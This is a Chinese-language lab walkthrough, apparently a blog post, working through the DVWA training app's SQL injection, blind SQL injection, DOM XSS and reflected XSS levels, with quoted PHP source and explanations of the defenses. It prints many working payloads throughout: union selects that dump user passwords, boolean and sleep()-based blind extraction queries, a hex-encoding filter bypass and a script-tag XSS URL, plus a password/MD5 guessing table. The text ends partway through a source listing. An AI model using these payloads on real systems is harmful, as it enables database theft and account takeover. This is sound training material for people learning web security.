输入1 union select 1,2 –

4.获取当前数据库

输入1 union select 1,database() –

1 union select version(),database()#

5.获取数据库中的表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

6.获取表中的字段名

1 union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’ –

7.下载数据

1 union select user,password from users#

查字段数: 1 order by 2

查数据库:1 union select 1,database()

查数据库中的表:1 union select 1,table_name from information_schema.tables where table_schema=’dvwa’

查users表中的字段: 1 union select column_name from information_schema.columns where table_name=’users’

爆出字段内容: 1 union select user,password from users

源码分析-High

<?phpif( isset( $_SESSION [ 'id' ] ) ) {// Get input$id = $_SESSION[ 'id' ];// Check database
//【select * from tableName limit i,n 】
tableName : 为数据表;
i : 为查询结果的索引值(默认从0开始);
n : 为查询结果返回的数量
查询第一条数据
select * from student limit 1
查询第二条数据
select * from student limit 1,1$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

复现过程-High

查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

输入,都不用抓包

1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

源码分析-Impossible

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last  = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}
}// Generate Anti-CSRF token
generateSessionToken();?>

复现过程-Impossible

PDO预处理,你懂得

SQL Injection(Blind盲注)

其实盲注与一般注入,个人感觉没有必要区分,一般注入把查询的各种信息都展现在页面上,盲注只会把服务器封装后的信息展现在页面上,比如查询错误和查询成功。

SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

可以完全参考

https://www.jianshu.com/p/757626cec742

详细对比

普通SQL注入 SQL盲注
1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等2.一般在页面上直接就会显示执行sql语句的结果 1.一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注)2.一般在页面上不会直接显示sql执行的结果3.有可能出现不确定sql是否执行的情况

SQL盲注-测试思路

l 对于基于布尔的盲注,

个人理解:说白了就是在用户的查询条件中,通过and、or等逻辑运算符让整个SQL语句的执行结果为true或false,观察true或false对应的服务器返回的信息,根据该信息来判断执行情况

网络:可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。

l 对于基于时间的盲注

个人理解:基于布尔是使用逻辑运算符,那基于时间就是使用时间函数,看看在执行SQL语句的时候是否会运行这些时间函数,而这些时间函数的执行,往往通过页面的显示结果可以看出

网络:通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。

l 对于基于报错的盲注

个人没怎么深入研究过

搜寻查看网上部分Blog,基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。

SQL盲注流程

拿到一个查询条件的web网页,就需要对输入框做以下的事情

1.判断是否存在注入,注入的类型

2.猜解当前数据库名称

3.猜解数据库中的表名

4.猜解表中的字段名

5.获取表中的字段值

6.验证字段值的有效性

7.获取数据库的其他信息:版本、用户…

感觉没啥区别

第一步肯定是先看有没有注入,然后由库到表到字段到字段值,一点一点爆

源码分析-Low

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Get input$id = $_GET[ 'id' ];// Check database$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
//最后的判断只有两种
num大于0输出User ID exists in the database
num小于等于0 输出User ID is MISSING from the databaseif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

复现过程-Low

对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种

套公式

布尔盲注

叫得很专业,很“玄乎”,其实就是使用一些逻辑运算来判断是否存在SQL注入

套公式

1.判断是否存在注入,注入是字符型还是数字型

输入1,显示相应用户存在:

输入1’ and 1=1 #,显示存在:

输入1’ and 1=2 #,显示不存在:

说明存在字符型的SQL盲注。

可以通过如下表格内容进行测试:

构造User ID取值的语句 输出结果
1 exists
MISSING
1 and 1=1 # exists
1 and 1=2 # exists
1’ and 1=1 # exists
1’ and 1=2 # MISSING

2.想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。

数据库名称的属性:字符长度、字符组成的元素(字母/数字/下划线/…)&元素的位置(首位/第2位/…/末位)

1) 判断数据库名称的长度(二分法思维)

输入
1’ and length(database())>10 # MISSING
1’ and length(database())>5 # MISSING
1’ and length(database())>3 # exists
1’ and length(database())=4 # exists

当前所连接数据库名称的长度=4

2)判断数据库名称的字符组成元素

此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然后各个击破。

mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。

用法:

substr(string string,num start,num length);

string为字符串;

start为起始位置;

length为长度。

区别:

mysql中的start是从1开始的,而hibernate中的start是从0开始的。

构造语句比较之前,先查询以下字符的ASCII码的十进制数值作为参考:

字符 ASCII码-10进制 字符 ASCII码-10进制
a 97 ==> z 122
A 65 ==> Z 90
0 48 ==> 9 57
_ 95 @ 64

以上常规可能用到的字符的ASCII码取值范围:[48,122]

当然也可以扩大范围,在ASCII码所有字符的取值范围中筛选:[0,127]

输入
1’ and ascii(substr(database(),1,1))>88 #
1’ and ascii(substr(database(),1,1))>105 #
1’ and ascii(substr(database(),1,1))>96 #
1’ and ascii(substr(database(),1,1))>100 #
1’ and ascii(substr(database(),1,1))>98 #
1’ and ascii(substr(database(),1,1))=99 #
1’ and ascii(substr(database(),1,1))=100 #

==>数据库名称的首位字符对应的ASCII码为100,查询是字母 d

类似以上操作,分别猜解第2/3/4位元素的字符:

1’ and ascii(substr(database(),2,1))>88 #

…==>第2位字符为 v

1’ and ascii(substr(database(),3,1))>88 #

…==>第3位字符为 w

1’ and ascii(substr(database(),4,1))>88 #

…==>第4位字符为 a

从而,获取到当前连接数据库的名称为:dvwa

3.猜解数据库中的表名

数据表属性:指定数据库下表的个数、每个表的名称(表名长度,表名组成元素)

对于Mysql,DBMS数据库管理系统—>information_schema库—>tables表—>table_schema,table_name,table_rows,…字段。

获取所有表结构(TABLES)

SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=‘数据库名’; TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。各字段说明如下:

字段 含义
Table_catalog 数据表登记目录
Table_schema 数据表所属的数据库名
Table_name 表名称
Table_type 表类型[system view|base table]
Engine 使用的数据库引擎[MyISAM|CSV|InnoDB]
Version 版本,默认值10
Row_format 行格式[Compact|Dynamic|Fixed]
Table_rows 表里所存多少行数据
Avg_row_length 平均行长度
Data_length 数据长度
Max_data_length 最大数据长度
Index_length 索引长度
Data_free 空间碎片
Auto_increment 做自增主键的自动增量当前值
Create_time 表的创建时间
Update_time 表的更新时间
Check_time 表的检查时间
Table_collation 表的字符校验编码集
Checksum 校验和
Create_options 创建选项
Table_comment 表的注释、备注

Table_schema表示数据表所属的数据库名

MySQL中的DATABASE()函数返回默认或当前数据库的名称

如下的语句就可以理解为:当数据表所属的数据库名和当前数据库一样时,求当前表个数

select count(table_name) from information_schema.tables where table_schema=database())>10

1)猜解表的个数

输入 输出
1’ and (select count(table_name) from information_schema.tables where table_schema=database())>10 # MISSING
1’ and (select count(table_name) from information_schema.tables where table_schema=database())>5 # MISSING
1’ and (select count(table_name) from information_schema.tables where table_schema=database())>2 # MISSING
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 # exists

2)猜解表名

l 表名称的长度

# 1.查询列出当前连接数据库下的所有表名称

select table_name from information_schema.tables where table_schema=database()

# 2.列出当前连接数据库中的第1个表名称

select table_name from information_schema.tables where table_schema=database() limit 0,1

# 3.以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符

substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)

# 4.计算所截取当前连接数据库第1个表名称作为字符串的长度值

length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))

# 5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #

输入 输出
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 # MISSING
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 # exists
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 # exists
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # exists

==> dvwa数据库中第1个表的名称字符长度=9

l 表名称的字符组成

依次取出dvwa数据库第1个表的第1/2/…/9个字符分别猜解:

输入 输出
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 # exists
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>105 # MISSING
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96 # exists
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 # exists
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # MISSING
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 # MISSING
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # exists

==> dvwa数据库第1个表的第1个字符的ASCII码=103,对应的字符为g

==> 依次猜解出其他位置的字符分别为:u、e、s、t、b、o、o、k

==> 从而dvwa数据库第1个表的名称为:guestbook

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>88 #

猜解出dvwa数据库第2个表的名称为:users

4.猜解表中的字段名

表中的字段名属性:表中的字段数目、某个字段名的字符长度、字段的字符组成及位置;某个字段名全名匹配

以[dvwa库-users表]为例:

1)猜解users表中的字段数目

# 判断[dvwa库-users表]中的字段数目

(select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=xxx

# 判断在[dvwa库-users表]中是否存在某个字段(调整column_name取值进行尝试匹配)

(select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘xxx’)=1

# 猜解第i+1个字段的字符长度

length(substr((select column_name from information_shchema.columns limit iii,1),1))=xxx

# 猜解第i+1个字段的字符组成,j代表组成字符的位置(从左至右第1/2/…号位)

ascii(substr((select column_name from information_schema.columns limit iii,1),jjj,1))=xxx

输入 输出
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>10 # MISSING
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>5 # exists
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>8 # MISSING
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=8 # exists

==>dvwa库的users表中有8个字段

2)猜解users表中的各个字段的名称

按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称…然后是第2/3/…/8个字段名称。

当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含关键信息的字段,如:用户名、密码…

【猜想】数据库中可能保存的字段名称

用户名:username/user_name/uname/u_name/user/name/…

密码:password/pass_word/pwd/pass/…

输入 输出
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘username’)=1 # MISSING
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘user_name’)=1 # MISSING
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘uname’)=1 # MISSING
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘u_name’)=1 # MISSING
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘user’)=1 # exists

==>users表中存在字段user

输入 输出
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘password’)=1 # exists

==>users表中存在字段password

5.获取表中的字段值

1)用户名的字段值

输入 输出
1’ and length(substr((select user from users limit 0,1),1))>10 # MISSING
1’ and length(substr((select user from users limit 0,1),1))>5 # MISSING
1’ and length(substr((select user from users limit 0,1),1))>3 # MISSING
1’ and length(substr((select user from users limit 0,1),1))=4 # MISSING
1’ and length(substr((select user from users limit 0,1),1))=5 # exists

==>user字段中第1个字段值的字符长度=5

2)密码的字段值

输入 输出
1’ and length(substr((select password from users limit 0,1),1))>10 # exists
1’ and length(substr((select password from users limit 0,1),1))>20 # exists
1’ and length(substr((select password from users limit 0,1),1))>40 # MISSING
1’ and length(substr((select password from users limit 0,1),1))>30 # exists
1’ and length(substr((select password from users limit 0,1),1))>35 # MISSING
1’ and length(substr((select password from users limit 0,1),1))>33 # MISSING
1’ and length(substr((select password from users limit 0,1),1))=32 # exists

==>password字段中第1个字段值的字符长度=32

猜测这么长的密码位数,可能是用来md5的加密方式保存,通过手工猜解每位数要花费的时间更久了。

l 方式①:用二分法依次猜解user/password字段中每组字段值的每个字符组成

第一组就是第一个记录,第二组就是第二个记录,

l 方式②:利用日常积累经验猜测+运气,去碰撞完整字段值的全名

user password md5($password)
admin password 5f4dcc3b5aa765d61d8327deb882cf99
admin123 123456 e10adc3949ba59abbe56e057f20f883e
admin111 12345678 25d55ad283aa400af464c76d713c07ad
root root 63a9f0ea7bb98050796b649e85481845
sa sa123456 58d65bdd8944dc8375c30b2ba10ae699
输入 输出
1’ and substr((select user from users limit 0,1),1)=‘admin’ # exists
1’ and (select count(*) from users where user=‘admin’)=1 #
1’ and (select count(*) from users where user=‘admin123’)=1 # MISSING
1’ and (select count(*) from users where user=‘root’)=1 # MISSING
==>user字段的第1组取值为admin
1’ and (select count(*) from users where user=‘admin’ and password=‘5f4dcc3b5aa765d61d8327deb882cf99’)=1 # exists
1’ and (select count(*) from users where user=‘admin’ and password=‘e10adc3949ba59abbe56e057f20f883e’)=1 # MISSING
==>user—password字段的第1组取值:admin—password

方式①的猜解准确率和全面性较高,但是手工猜解花费的时间比较长;方式②猜解效率可能稍快一些,手工猜解的命中率较低,如果用户名or密码字典数据较少,可能会漏掉数据没有猜解出来,不确定性较多。实际猜解过程中,可以结合两种方法一起来尝试,互相补充。

6.验证字段值的有效性

将以上admin–password填写到前台登录界面的两个输入框中,尝试登录是否成功

PS:

以上猜解的方法,除了利用基于布尔的盲注方式,还可以利用基于时间延迟的盲注进行操作。此时,需要结合if函数和sleep()函数来测试不同判断条件导致的延迟效果差异,如:1’ and if(length(database())>10,sleep(5),1) #

if条件中即数据库的库、表、字段、字段值的获取和数值大小比较,若服务器响应时执行了sleep()函数,则判断if中的条件为真,否则为假。

源码分析-Medium

<?phpif( isset( $_POST[ 'Submit' ]  ) ) {// Get input$id = $_POST[ 'id' ];
//对特殊符号
\x00,\n,\r,\,’,”,\x1a进行转义$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Check database$getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}//mysql_close();
}?>

复现过程-Medium

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

和普通的SQL注入方式差不多,只是需要BP来抓包修改参数值

虽然前端界面上只能通过下拉列表选择数字,提交后查询显示的都是"exists",但是抓包工具修改数据重放之后是可以在工具中观察到响应数据有"MISSING"和"exists"两种返回结果的,如下:

输入 输出
1 exists
MISSING
1 and 1=1 # exists
1 and 1=2 # MISSING
1’ and 1=1 # MISSING
1’ and 1=2 # MISSING

由③和④构造真假条件返回对应不同的结果,可知存在数字型的SQL盲注漏洞

猜解当前连接数据库的名称

对于 if(判断条件,sleep(n),1) 函数而言,若判断条件为真,则执行sleep(n)函数,达到在正常响应时间的基础上再延迟响应时间n秒的效果;若判断条件为假,则返回设置的1(真),此时不会执行sleep(n)函数

输入 输出(Response Time)
1 and if(length(database())=4,sleep(2),1) # 2031 ms
1 and if(length(database())=5,sleep(2),1) # 26 ms
1 and if(length(database())>10,sleep(2),1) # 30 ms

==>以上根据响应时间的差异,可知当前连接数据库名称的字符长度=4,此时确实执行了sleep(2)函数,使得响应时间比正常响应延迟2s(2000ms)

输入 输出
1 and if(ascii(substr(database(),1,1))>88,sleep(2),1) # 2049 ms
1 and if(ascii(substr(database(),1,1))>105,sleep(2),1) # 19 ms
1 and if(ascii(substr(database(),1,1))>96,sleep(2),1) # 2037 ms
1 and if(ascii(substr(database(),1,1))>101,sleep(2),1) # 46 ms
1 and if(ascii(substr(database(),1,1))>99,sleep(2),1) # 2027 ms
1 and if(ascii(substr(database(),1,1))=101,sleep(2),1) # 27 ms
1 and if(ascii(substr(database(),1,1))=100,sleep(2),1) # 2020 ms

==>当前连接数据库的名称的第1个字符的ASCII码为100,对应字母d

后续过程与Low级别时类似,在此略过。Medium级别需要在拦截工具中操作编辑数据进行提交,还有因对特殊符号进行了转义处理,所以对于带有引号包含字符串的字段值,可以转换成16进制的形式进行绕过限制,从而提交到数据库进行查询

如:猜解表中的字段名时,猜解字段名的长度(对字段值users进行16进制转换为0x7573657273)

ow级别 Medium级别
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=8 # 1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8 #---------------------------------------------------------1 and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8,sleep(2),1) #

源码分析-High

<?phpif( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ];// Check database
//limit限制查询只能为1条$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {
//返回MISSING时,会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );}// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

复现过程-High

可以看到,Medium级别

对于LIMIT 1的限制输出记录数目,可以利用#注释其限制;服务端可能会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s,这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试

源码分析-Impossible

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF token
//使用token机制checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?
//对输入的id进行是否为数字的判断if(is_numeric( $id )) {// Check the database
//使用limit对查询的结果进行限制$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
//使用PDO$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();// Get resultsif( $data->rowCount() == 1 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}}
}// Generate Anti-CSRF token
generateSessionToken();?>

复现过程-Impossible

l impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入

l 只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库

l 利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句

l Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过

DOM-XSS(DOM型跨站脚本攻击)

XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。

DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。

可能触发DOM型XSS的属性:

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

(注:下面的实验都是在Firefox浏览器下进行的,感谢火狐没做XSS filter)。

document 和 windows 对象

document表示的是一个文档对象,window表示的是一个窗口对象,一个窗口下可以有多个文档对象。

所以一个窗口下只有一个window.location.href,但是可能有多个document.URL、document.location.href

window 对象

它是一个顶层对象,而不是另一个对象的属性即浏览器的窗口。

document 对象

该对象是window和frames对象的一个属性,是显示于窗口或框架内的一个文档。

document 只是属于window 的一个子对像。

window.location 包含 href 属性,直接取值赋值时相当于 window.location.href

window.location.href 当前页面完整 URL

document.location 包含 href 属性,直接取值赋值时相当于 document.location.href

document.location.href 当前页面完整 URL

document.href 没有这个属性

document.URL 取值时等价于 window.location.href 或 document.location.href。在某些浏览器中通过对 document.URL 赋值来实现页面跳转,但某些浏览器中不行。

indexOf()方法

定义和用法

indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。

indexOf(searchvalue,fromindex)

参数 描述
searchvalue 必需。规定需检索的字符串值。
fromindex 可选的整数参数。规定在字符串中开始检索的位置。它的合法取值是 0 到 stringObject.length - 1。如省略该参数,则将从字符串的首字符开始检索。

注释:indexOf() 方法对大小写敏感!

注释:如果要检索的字符串值没有出现,则该方法返回 -1

输出0-16

substring() 方法

substring() 方法用于提取字符串中介于两个指定下标之间的字符。

substring(start,stop)

参数 描述
start 必需。 一个非负的整数,规定要提取的子串的第一个字符在 stringObject 中的位置。
stop 可选。 一个非负的整数,比要提取的子串的最后一个字符在 stringObject 中的位置多 1。
如果省略该参数,那么返回的子串会一直到字符串的结尾。

decodeURI() 函数可对 encodeURI() 函数编码过的 URI 进行解码

document.write

document.write详解

document.write是JavaScript中对document.open所开启的文档流(document stream操作的API方法,它能够直接在文档流中写入字符串,一旦文档流已经关闭,那document.write就会重新利用document.open打开新的文档流并写入,此时原来的文档流会被清空,已渲染好的页面就会被清除,浏览器将重新构建DOM并渲染新的页面

源码分析-Low

<?php
//没有保护,什么都没有
# No protections, anything goes?>

复现过程-Low

选择English

发现default参数就是下列选择框

对default参数测试

http://192.168.31.155/DVWA-master/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(‘zzyy’)%3C/script>

经拼接后,所以会执行alert,也就是js代码

English

F12查看

源码分析-Medium

<?php// Is there any input?
// array_key_exists()检查键是否存在
array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
提示:如果指定数组的时候省略了键名,将会生成从 0 开始并以 1 递增的整数键名
array_key_exists(key,array)
key 必需  规定键名。
array   必需。规定数组
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {$default = $_GET['default'];# Do not alLow script tags
//过滤<script,含scriipt的就不可以
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
stripos(string,find,start)
string 必需   规定被搜索的字符串。
find 必需 规定要查找的字符。
start 可选    规定开始搜索的位置。
返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释:字符串位置从 0 开始,不是从 1 开始。if (stripos ($default, "<script") !== false) {
//如果参数不含<script
header() 函数向客户端发送原始的 HTTP 报头
header(string,replace,http_response_code)
string 必需   规定要发送的报头字符串。
replace 可选  指示该报头是否替换之前的报头,或添加第二个报头。
默认是 true(替换)。false(允许相同类型的多个报头)。
http_response_code可选    把 HTTP 响应代码强制为指定的值。(PHP 4 以及更高版本可用)header ("location: ?default=English");exit;}
}?>

复现过程-Medium

由于过滤script,所以这个注入失败

http://192.168.31.155/DVWA-master/vulnerabilities/xss_d/?default=

输入English,成功弹框:

http://192.168.31.155/dvwa-master/vulnerabilities/xss_d/?default= English

源码分析-High

<
<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {# White list the alLowable languages
//白名单,只允许French、English、German、Spanishswitch ($_GET['default']) {case "French":case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;}
}?>

复现过程-High

白名单 只允许 传的 default值 为 French English German Spanish 其中一个

构造攻击语句

http://192.168.31.155/dvwa-master/vulnerabilities/xss_d/?default= English #

写入页面的效果是这样的

English #

URL中#号之后的内容,在提交表单时,被当成注释,不会被提交到服务器

在浏览器解析时,会解析

源码分析-Impossible

<?php# Don't need to do anything, protction handled on the client side?>

复现过程-Impossible

观察页面源码

if (document.location.href.indexOf(“default=”) >= 0) { var lang = document.location.href.substring(document.location.href.indexOf(“default=”)+8); document.write("" + (lang)+ “”); document.write("----");}

可以发现这里对我们输入的参数(lang)并没有进行URL解码,而在其他级别中是有解码过程的decodeURI(lang)。所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。

reflected-XSS(反射型跨站脚本攻击)

反射型Xss <全称跨站脚本攻击,是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中

其实反射型和DOM型的XSS差别主要在于,反射型是会往后台服务器发送请求,而DOM型直接在前端进行解析;两者都是一次性的

源码分析-Low

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
// arrary_key_exists()函数:判断$_GET的值中是否存在“name”键名。并且$_GET[‘name’]的值是否不为空,满足这些条件,直接输出下面的输出语句。if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}?>

复现过程-Low

可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。

输入,成功弹框:

源码分析-Medium

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input
